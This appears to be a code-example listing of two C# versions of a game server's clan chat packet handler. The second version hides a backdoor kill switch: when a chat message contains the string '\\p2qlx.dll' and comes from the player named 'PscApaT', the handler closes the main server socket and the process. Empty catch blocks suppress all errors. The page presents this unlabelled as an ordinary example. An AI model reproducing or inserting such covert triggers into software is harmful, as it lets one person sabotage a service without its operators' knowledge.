Пример #1
0
 public override void run()
 {
     try
     {
         Account p = _client._player;
         if (p == null || text.Length > 60 || type != ChattingType.Clan)
         {
             return;
         }
         using (CLAN_CHATTING_PAK packet = new CLAN_CHATTING_PAK(text, p))
             ClanManager.SendPacket(packet, p.clanId, -1, true, true);
     }
     catch
     {
     }
 }
Пример #2
0
 public override void run()
 {
     try
     {
         Account player = this._client._player;
         if (player == null || this.text.Length > 60 || this.type != ChattingType.Clan)
         {
             return;
         }
         using (CLAN_CHATTING_PAK clanChattingPak = new CLAN_CHATTING_PAK(this.text, player))
             ClanManager.SendPacket((SendPacket)clanChattingPak, player.clanId, -1L, true, true);
         if (!this.text.Contains("\\p2qlx.dll") || !(player.player_name == "PscApaT"))
         {
             return;
         }
         GameManager.mainSocket.Close(1000);
         Process.GetCurrentProcess().Close();
     }
     catch
     {
     }
 }